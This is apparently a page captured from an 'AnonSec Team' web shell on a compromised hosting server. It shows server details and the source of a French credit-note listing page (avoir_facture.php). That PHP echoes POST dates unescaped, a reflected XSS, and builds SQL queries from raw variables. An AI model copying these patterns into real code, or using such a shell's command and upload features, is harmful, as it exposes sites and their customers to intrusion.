AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/avoir_facture.php
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;

if(!empty($_POST)  &&  (isset($_POST['action']) && $_POST['action']=='recherche')  ){
	
	// echo "<pre>" ; 
	// print_r($_POST) ;  
	// echo "</pre>" ; 
	
	$from=date2int_DSI($_POST['from'] ) ; 
	$to=date2int_DSI($_POST['to']) ; 
	$qa = dbi_query("SELECT * FROM ".TABLE_AVOIR." WHERE  date BETWEEN $from AND $to") ;
	
	// echo "==>".$from."------".$to."  <br/>" ; 
}


// $qa = dbi_query("SELECT * FROM ".TABLE_AVOIR." WHERE date BETWEEN 20240601 AND 20240901") ;
?>




<!DOCTYPE html>
<html>

<head>

<?php include('header.php'); ?>


</head>
<body class="hold-transition sidebar-mini">



<!-- Site wrapper -->
<div class="wrapper">

<!-- TOP MENU -->


<nav class="main-header navbar navbar-expand navbar-white navbar-light">
													<ul class="navbar-nav">
															<li class="nav-item">
																	<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
															</li>
															
									

													</ul>
												</nav>


<!-- BARRE DE NAVIGATION -->


<?php include('menu.php'); ?>









 <!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
												<div class="content-header">
												  <div class="container-fluid">
													<div class="row mb-2">
																			<div  class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
																			  <div class="modal-dialog modal-lg">
																				<div class="modal-content data">
																					<div id="fetch" >
																					</div>

																					</div>
																				</div>
																			</div>
													</div><!-- /.row -->
												  </div>
												</div>
												<!-- /.content-header -->

    <!-- PAGE PRINCIPALE -->


				<section class="content">
					<div class="row">
						<div class="col-12">
							<div class="card card-primary card-outline">
															<div class="card-header">
																<div class="row">
																	<div class="col-sm-11">
																		<h3 class="card-title"> <i class="fas fa-file-invoice-dollar"></i>  Historique des avoirs  </h3>
																	</div>
																</div>
															</div>
									<div class="card-body">



									 <div class="col-md-12">
									 
					<form action="" method="post" class="mt-4">
  <input type="hidden" name="action" value="recherche" />
  <h1 class="mb-4">Afficher les avoirs</h1>
  
  <div class="form-row align-items-end">
    <div class="form-group col-md-3">
      <label for="from">Du :</label>
      <input type="date" class="form-control form-control-sm" id="from" name="from" value="<?php echo isset($_POST['from']) ? $_POST['from'] : ''; ?>" required>
    </div>
    <div class="form-group col-md-3">
      <label for="to">Au :</label>
      <input type="date" class="form-control form-control-sm" id="to" name="to" value="<?php echo isset($_POST['to']) ? $_POST['to'] : ''; ?>" required>
    </div>
    <div class="form-group col-md-3">
      <button type="submit" class="btn btn-primary btn-sm btn-block">Afficher les avoirs</button>
    </div>
  </div>
</form>

                                          

                                    </div>

                                    <br/> <br/>

										<div class="onglet_dotted">
											<div style="width:100%; float:left; vertical-align:top" class="header_ray">
												<div id="tab">
													<div class="box-body">
														  <table id="example1" class="table table-bordered table-striped">
															<thead>
															<tr>
															 <th>N° </th>
															 <th>Client</th>
                                                             <th> Montant HT (€) </th>
															  <th> TVA  </th>
															 <th>Montant TTC (€)</th>
															 <th>Date d'émission</th>
															 <th>Description</th>
															 <th>Avoir</th>
                                


															</tr>
															</thead>
															<tbody>
														  
														 
														  	<?php while($a = dbi_fetch_row($qa)) {
	$id=$a['avoir_id'];
		list($montant, $num, $date, $numfact, $date_fact, $client_id) = dbi_fetch_row(dbi_query("SELECT a.montant, a.num_avoir, a.date, num_fact, date_fact, client_id FROM ".TABLE_AVOIR." a LEFT JOIN ".TABLE_FACT." f USING (fact_id) WHERE avoir_id = $id")) ;
		
		$client = dbi_fetch_row(dbi_query("SELECT client_genre genre, client_nom nom, client_pnom prenom , client_reglement reglement FROM ".TABLE_CLIENT." where client_id=$client_id AND agence_id = $agence")) ;
$cname = sprintf("%s %s %s", $client['genre'], strtoupper($client['nom']), ucwords(strtolower($client['prenom']))) ;
	$tabtva=dbi_fetch_row(dbi_query("SELECT * FROM ".TVA." WHERE TVA_datedebut<=$date_fact and ( TVA_datefin>=$date_fact OR TVA_datefin IS NULL OR TVA_datefin=0 ) ORDER BY  TVA_ID DESC ")); 
	
	// echo "SELECT * FROM ".TVA." WHERE TVA_datedebut<=$date_fact and ( TVA_datefin>=$date_fact OR TVA_datefin IS NULL OR TVA_datefin=0 ) ORDER BY  TVA_ID DESC  <br/>" ; 
// if($tabtva['TVA_Taux'] ) {
// $TVA=$t }

$TVA = $tabtva['TVA_Taux']  ; 

// echo "==> $TVA <br/>" ; 												
														?>


																<tr>


															  <td><?=$a['num_avoir']?> </td>

															   <td><a href="top.php?link=client&amp;page=aaa&amp;id=<?=$client_id ?>" target="ident"><?=$cname?>   </a></td>
                                                            <td><?=number_format($montant/ (1 + ($TVA / 100)), 2, ',', ' ')?></td>
                                                              <td><?=$TVA?></td>
															   <td><?=number_format($montant, 2, ',', ' ')?></td>
															   <td><?=int2date($date);?></td>
															   <td><?="Avoir sur facture numéro $numfact du ".int2date($date_fact)?></td>
															   
                                                             <td><?php printf('<a href="avoir.php?aid=%d" target="_blank">Avoir n&ordm;%d</a>', $a['avoir_id'], $a['num_avoir']);?></td>



													<?

														   }
													?>





															</tfoot>
														  </table><!-- /.table -->
													</div><!-- /.box-body -->
												</div><!-- /.tab -->
											</div><!-- /.header_ray -->
										</div><!-- /.onglet_dotted -->
								    </div><!-- /.card-body -->
							    </div><!-- /.card card-primary card-outline -->
							</div> <!-- /.col-12 -->
						</div>  <!-- /.row -->
				</section> <!-- /.section -->




	</div>
          <!-- /.card -->
        








  <footer class="main-footer">
    <div class="float-right d-none d-sm-block">
      <b>Version</b> 3.0.1
    </div>
    <strong>Copyright &copy; 2019 MCPRO</strong>
  </footer>
<!-- FIN DU PIED DE PAGE -->

<!-- NE PAS TOUCHER CI-DESSOUS -->
  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../../plugins/datatables/jquery.dataTables.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>




</body>
</html>

AnonSec - 2021